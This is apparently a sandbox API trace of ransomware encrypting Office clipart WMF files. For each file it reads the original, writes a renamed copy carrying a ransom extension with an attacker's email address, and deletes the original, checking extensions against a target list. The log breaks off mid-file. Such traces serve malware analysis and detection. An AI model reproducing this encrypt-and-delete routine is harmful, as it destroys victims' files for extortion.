	[0267.911] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0267.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0267.911] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.911] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.911] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0267.912] GetLastError () returned 0x0
	[0267.912] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x47c, lpOverlapped=0x0) returned 1
	[0267.913] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x480, lpOverlapped=0x0) returned 1
	[0267.914] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.914] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0267.914] SetEndOfFile (hFile=0x368) returned 1
	[0267.914] CloseHandle (hObject=0x368) returned 1
	[0267.914] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.914] SetEndOfFile (hFile=0x364) returned 1
	[0267.916] CloseHandle (hObject=0x364) returned 1
	[0267.916] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0267.916] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01015_.wmf")) returned 1
	[0267.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63
	[0267.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63
	[0267.917] lstrlenW (lpString=".doc") returned 4
	[0267.917] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0267.917] lstrlenW (lpString=".docx") returned 5
	[0267.917] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0267.917] lstrlenW (lpString=".pdf") returned 4
	[0267.917] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0267.917] lstrlenW (lpString=".xls") returned 4
	[0267.917] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0267.917] lstrlenW (lpString=".xlsx") returned 5
	[0267.917] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0267.917] lstrlenW (lpString=".ppt") returned 4
	[0267.917] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0267.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63
	[0267.917] lstrlenW (lpString=".zip") returned 4
	[0267.917] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0267.917] lstrlenW (lpString=".rar") returned 4
	[0267.917] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0267.917] lstrlenW (lpString=".bz2") returned 4
	[0267.917] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0267.917] lstrlenW (lpString=".7z") returned 3
	[0267.917] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0267.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63
	[0267.917] lstrlenW (lpString=".dbf") returned 4
	[0267.917] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0267.917] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63
	[0267.917] lstrlenW (lpString=".1cd") returned 4
	[0267.917] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0267.918] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 63
	[0267.918] lstrlenW (lpString=".jpg") returned 4
	[0267.918] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0267.918] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=2756) returned 1
	[0267.918] CloseHandle (hObject=0x364) returned 1
	[0267.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 0x20
	[0267.918] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0267.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0267.918] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.918] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.918] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0267.919] GetLastError () returned 0x0
	[0267.919] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0xac4, lpOverlapped=0x0) returned 1
	[0267.920] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xad0, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xad0, lpOverlapped=0x0) returned 1
	[0267.921] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.921] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0267.921] SetEndOfFile (hFile=0x368) returned 1
	[0267.921] CloseHandle (hObject=0x368) returned 1
	[0267.921] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.921] SetEndOfFile (hFile=0x364) returned 1
	[0267.923] CloseHandle (hObject=0x364) returned 1
	[0267.923] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0267.924] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01058_.wmf")) returned 1
	[0267.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63
	[0267.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63
	[0267.924] lstrlenW (lpString=".doc") returned 4
	[0267.924] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0267.924] lstrlenW (lpString=".docx") returned 5
	[0267.924] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0267.924] lstrlenW (lpString=".pdf") returned 4
	[0267.924] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0267.924] lstrlenW (lpString=".xls") returned 4
	[0267.924] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0267.924] lstrlenW (lpString=".xlsx") returned 5
	[0267.924] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0267.924] lstrlenW (lpString=".ppt") returned 4
	[0267.924] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0267.924] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63
	[0267.924] lstrlenW (lpString=".zip") returned 4
	[0267.924] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0267.924] lstrlenW (lpString=".rar") returned 4
	[0267.924] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0267.925] lstrlenW (lpString=".bz2") returned 4
	[0267.925] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0267.925] lstrlenW (lpString=".7z") returned 3
	[0267.925] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0267.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63
	[0267.925] lstrlenW (lpString=".dbf") returned 4
	[0267.925] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0267.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63
	[0267.925] lstrlenW (lpString=".1cd") returned 4
	[0267.925] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0267.925] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01058_.WMF") returned 63
	[0267.925] lstrlenW (lpString=".jpg") returned 4
	[0267.925] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0267.925] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=1268) returned 1
	[0267.925] CloseHandle (hObject=0x364) returned 1
	[0267.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 0x20
	[0267.925] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0267.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0267.926] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.926] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.926] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368
	[0267.926] GetLastError () returned 0x0
	[0267.926] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x4f4, lpOverlapped=0x0) returned 1
	[0267.927] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x500, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x500, lpOverlapped=0x0) returned 1
	[0267.928] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0267.928] WriteFile (in: hFile=0x368, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0267.928] SetEndOfFile (hFile=0x368) returned 1
	[0267.930] CloseHandle (hObject=0x368) returned 1
	[0267.930] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0267.930] SetEndOfFile (hFile=0x364) returned 1
	[0268.291] CloseHandle (hObject=0x364) returned 1
	[0268.291] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.291] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\hh01065_.wmf")) returned 1
	[0268.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63
	[0268.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63
	[0268.292] lstrlenW (lpString=".doc") returned 4
	[0268.292] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.292] lstrlenW (lpString=".docx") returned 5
	[0268.292] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.292] lstrlenW (lpString=".pdf") returned 4
	[0268.292] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.292] lstrlenW (lpString=".xls") returned 4
	[0268.292] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.292] lstrlenW (lpString=".xlsx") returned 5
	[0268.292] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.292] lstrlenW (lpString=".ppt") returned 4
	[0268.292] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63
	[0268.292] lstrlenW (lpString=".zip") returned 4
	[0268.292] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.292] lstrlenW (lpString=".rar") returned 4
	[0268.292] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.292] lstrlenW (lpString=".bz2") returned 4
	[0268.292] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.292] lstrlenW (lpString=".7z") returned 3
	[0268.292] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63
	[0268.292] lstrlenW (lpString=".dbf") returned 4
	[0268.292] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63
	[0268.292] lstrlenW (lpString=".1cd") returned 4
	[0268.292] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.292] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\HH01065_.WMF") returned 63
	[0268.293] lstrlenW (lpString=".jpg") returned 4
	[0268.293] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.293] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=792) returned 1
	[0268.293] CloseHandle (hObject=0x364) returned 1
	[0268.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 0x20
	[0268.293] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.293] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.293] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.293] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.294] GetLastError () returned 0x0
	[0268.294] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x318, lpOverlapped=0x0) returned 1
	[0268.295] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x320, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x320, lpOverlapped=0x0) returned 1
	[0268.296] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.296] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.296] SetEndOfFile (hFile=0x36c) returned 1
	[0268.296] CloseHandle (hObject=0x36c) returned 1
	[0268.296] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.296] SetEndOfFile (hFile=0x364) returned 1
	[0268.298] CloseHandle (hObject=0x364) returned 1
	[0268.298] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF.id-9C354B42.[panama777@tutanota].Acuf2", dwFileAttributes=0x20) returned 1
	[0268.298] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00118_.wmf")) returned 1
	[0268.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63
	[0268.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63
	[0268.299] lstrlenW (lpString=".doc") returned 4
	[0268.299] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0268.299] lstrlenW (lpString=".docx") returned 5
	[0268.299] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0268.299] lstrlenW (lpString=".pdf") returned 4
	[0268.299] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0268.299] lstrlenW (lpString=".xls") returned 4
	[0268.299] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0268.299] lstrlenW (lpString=".xlsx") returned 5
	[0268.299] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0268.299] lstrlenW (lpString=".ppt") returned 4
	[0268.299] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0268.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63
	[0268.299] lstrlenW (lpString=".zip") returned 4
	[0268.299] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0268.299] lstrlenW (lpString=".rar") returned 4
	[0268.299] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0268.299] lstrlenW (lpString=".bz2") returned 4
	[0268.299] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0268.299] lstrlenW (lpString=".7z") returned 3
	[0268.299] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0268.299] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63
	[0268.299] lstrlenW (lpString=".dbf") returned 4
	[0268.300] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0268.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63
	[0268.300] lstrlenW (lpString=".1cd") returned 4
	[0268.300] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0268.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00118_.WMF") returned 63
	[0268.300] lstrlenW (lpString=".jpg") returned 4
	[0268.300] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0268.301] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2fcff1c | out: lpFileSize=0x2fcff1c*=1074) returned 1
	[0268.301] CloseHandle (hObject=0x364) returned 1
	[0268.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf")) returned 0x20
	[0268.301] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[panama777@tutanota].acuf2")) returned 0xffffffff
	[0268.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364
	[0268.301] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.301] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2fcfec8 | out: lpNewFilePointer=0x0) returned 1
	[0268.301] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\IN00177_.WMF.id-9C354B42.[panama777@tutanota].Acuf2" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\in00177_.wmf.id-9c354b42.[panama777@tutanota].acuf2"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x36c
	[0268.302] GetLastError () returned 0x0
	[0268.302] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x432, lpOverlapped=0x0) returned 1
	[0268.303] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0x440, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0x440, lpOverlapped=0x0) returned 1
	[0268.304] ReadFile (in: hFile=0x364, lpBuffer=0x3c20020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2fcfed4, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesRead=0x2fcfed4*=0x0, lpOverlapped=0x0) returned 1
	[0268.304] WriteFile (in: hFile=0x36c, lpBuffer=0x3c20020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2fcfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3c20020*, lpNumberOfBytesWritten=0x2fcfc9c*=0xec, lpOverlapped=0x0) returned 1
	[0268.304] SetEndOfFile (hFile=0x36c) returned 1
	[0268.304] CloseHandle (hObject=0x36c) returned 1
